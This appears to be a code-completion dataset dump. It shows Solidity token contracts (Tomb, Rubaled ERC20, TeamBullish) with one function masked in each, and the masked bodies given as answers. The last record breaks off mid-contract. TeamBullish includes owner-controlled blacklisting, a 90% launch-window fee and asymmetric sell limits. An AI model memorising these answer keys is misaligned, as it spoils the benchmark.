source_idx
stringlengths
1
5
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
masked_body
stringlengths
60
827k
masked_all
stringlengths
34
827k
func_body
stringlengths
4
324k
signature_only
stringlengths
11
2.47k
signature_extend
stringlengths
11
25.6k
10890
Tomb
buyTokens
contract Tomb is MintableToken { string public constant name = "Token Care"; string public constant symbol = "CARE"; bool public transferEnabled = false; uint8 public constant decimals = 18; uint256 public rate = 5000; address public approvedUser = 0xE3baA70Ba9F7947a43fb01D349bBbe666c2833a5; address public wallet = 0xE3baA70Ba9F7947a43fb01D349bBbe666c2833a5; uint64 public dateStart = 1511987870; uint256 public constant maxTokenToBuy = 10000000 ether; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount); /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { return super.approve(_spender, _value); } /** * @dev Modifier to make a function callable only when the transfer is enabled. */ modifier canTransfer() { require(transferEnabled); _; } modifier onlyOwnerOrApproved() { require(msg.sender == owner || msg.sender == approvedUser); _; } /** * @dev Function to stop transfering tokens. * @return True if the operation was successful. */ function enableTransfer() onlyOwner returns (bool) { transferEnabled = true; return true; } function setApprovedUser(address _user) onlyOwner returns (bool) { require(_user != address(0)); approvedUser = _user; return true; } function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) { require(_rate > 0); rate = _rate; return true; } function () payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) whenNotPaused payable {<FILL_FUNCTION_BODY> } // send ether to the fund collection wallet function forwardFunds() internal { wallet.transfer(msg.value); } function changeWallet(address _newWallet) onlyOwner returns (bool) { require(_newWallet != 0x0); wallet = _newWallet; return true; } function getBonusPercents() internal returns(uint8){ uint8 percents = 0; if(block.timestamp - dateStart < 7 days){ // first week percents = 20; } if(block.timestamp - dateStart < 1 days){ //first day percents = 30; } return percents; } function getSumBonusPercents(uint256 _tokens) internal returns(uint8){ uint8 percents = 0; if(_tokens >= 1000000 ether){ percents = 30; } return percents; } }
contract Tomb is MintableToken { string public constant name = "Token Care"; string public constant symbol = "CARE"; bool public transferEnabled = false; uint8 public constant decimals = 18; uint256 public rate = 5000; address public approvedUser = 0xE3baA70Ba9F7947a43fb01D349bBbe666c2833a5; address public wallet = 0xE3baA70Ba9F7947a43fb01D349bBbe666c2833a5; uint64 public dateStart = 1511987870; uint256 public constant maxTokenToBuy = 10000000 ether; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount); /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { return super.approve(_spender, _value); } /** * @dev Modifier to make a function callable only when the transfer is enabled. */ modifier canTransfer() { require(transferEnabled); _; } modifier onlyOwnerOrApproved() { require(msg.sender == owner || msg.sender == approvedUser); _; } /** * @dev Function to stop transfering tokens. * @return True if the operation was successful. */ function enableTransfer() onlyOwner returns (bool) { transferEnabled = true; return true; } function setApprovedUser(address _user) onlyOwner returns (bool) { require(_user != address(0)); approvedUser = _user; return true; } function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) { require(_rate > 0); rate = _rate; return true; } function () payable { buyTokens(msg.sender); } <FILL_FUNCTION> // send ether to the fund collection wallet function forwardFunds() internal { wallet.transfer(msg.value); } function changeWallet(address _newWallet) onlyOwner returns (bool) { require(_newWallet != 0x0); wallet = _newWallet; return true; } function getBonusPercents() internal returns(uint8){ uint8 percents = 0; if(block.timestamp - dateStart < 7 days){ // first week percents = 20; } if(block.timestamp - dateStart < 1 days){ //first day percents = 30; } return percents; } function getSumBonusPercents(uint256 _tokens) internal returns(uint8){ uint8 percents = 0; if(_tokens >= 1000000 ether){ percents = 30; } return percents; } }
require(beneficiary != 0x0); require(msg.value > 0); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); uint8 bonusDate = getBonusPercents(); //check date bonus uint8 bonusSum = getSumBonusPercents(tokens); //check summ bonus uint8 bonus = bonusDate + bonusSum; if(bonus > 0){ tokens += tokens * bonus / 100; // add bonus } require(totalSupply.add(tokens) <= maxTokenToBuy); mintInternal(beneficiary, tokens); forwardFunds();
function buyTokens(address beneficiary) whenNotPaused payable
function buyTokens(address beneficiary) whenNotPaused payable
93290
ERC20Token
_burn
contract ERC20Token is Context, ERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _symbol; string private _name; constructor() public { _name = "Rubaled"; _symbol = "RUB"; _decimals = 18; _totalSupply = 1350000*10**18; _balances[msg.sender] = _totalSupply; // 1350000 tokens emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the ERC token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal {<FILL_FUNCTION_BODY> } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }
contract ERC20Token is Context, ERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _symbol; string private _name; constructor() public { _name = "Rubaled"; _symbol = "RUB"; _decimals = 18; _totalSupply = 1350000*10**18; _balances[msg.sender] = _totalSupply; // 1350000 tokens emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the ERC token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } <FILL_FUNCTION> /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }
require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount);
function _burn(address account, uint256 amount) internal
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal
25953
TeamBullish
swapTokensForEth
contract TeamBullish is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 65000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Team Bullish"; string private constant _symbol = unicode"BULLS"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _bullsFee = 7; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousbullsFee = _bullsFee; uint256 private _BuyFee = _bullsFee; uint256 private _SellFee = _bullsFee; uint256 private _maxBuyAmount; uint256 private _maxSellAmount; address payable private _FeeAddress; address payable private _FeeAddress2; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable FeeAddress2, address payable FeeAddress3) { _FeeAddress = FeeAddress; _FeeAddress2 = FeeAddress2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[FeeAddress2] = true; _isExcludedFromFee[FeeAddress3] = true; _isBlackListedBot[address(0x12e48B837AB8cB9104C5B95700363547bA81c8a4)] = true; _blackListedBots.push(address(0x12e48B837AB8cB9104C5B95700363547bA81c8a4)); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _bullsFee == 0) return; _previousTaxFee = _taxFee; _previousbullsFee = _bullsFee; _taxFee = 0; _bullsFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _bullsFee = _previousbullsFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[msg.sender], "You have no power here!"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); require(amount <= _maxBuyAmount); _taxFee = 0; _bullsFee = _BuyFee; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { _bullsFee = 90; } } } // sell if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { require(amount <= _maxSellAmount); _taxFee = 0; _bullsFee = _SellFee; } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {<FILL_FUNCTION_BODY> } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _FeeAddress2.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _bullsFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 BullsFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(BullsFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 100000000 * 10**9; // TX LIMIT _maxSellAmount = 1000000 * 10**9; // 1% TX LIMIT _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (90 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function isBlackListed(address account) public view returns (bool) { return _isBlackListedBot[account]; } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function setTX(uint256 maxBuy, uint256 maxSell) external onlyOwner() { _maxBuyAmount = maxBuy; _maxSellAmount = maxSell; } function setBullishHour(bool enabled) external onlyOwner() { if (enabled) {_SellFee = 16; _BuyFee = 0; } else { _SellFee = 8; _BuyFee = 8; } } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
contract TeamBullish is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 65000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Team Bullish"; string private constant _symbol = unicode"BULLS"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _bullsFee = 7; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousbullsFee = _bullsFee; uint256 private _BuyFee = _bullsFee; uint256 private _SellFee = _bullsFee; uint256 private _maxBuyAmount; uint256 private _maxSellAmount; address payable private _FeeAddress; address payable private _FeeAddress2; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable FeeAddress2, address payable FeeAddress3) { _FeeAddress = FeeAddress; _FeeAddress2 = FeeAddress2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[FeeAddress2] = true; _isExcludedFromFee[FeeAddress3] = true; _isBlackListedBot[address(0x12e48B837AB8cB9104C5B95700363547bA81c8a4)] = true; _blackListedBots.push(address(0x12e48B837AB8cB9104C5B95700363547bA81c8a4)); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function 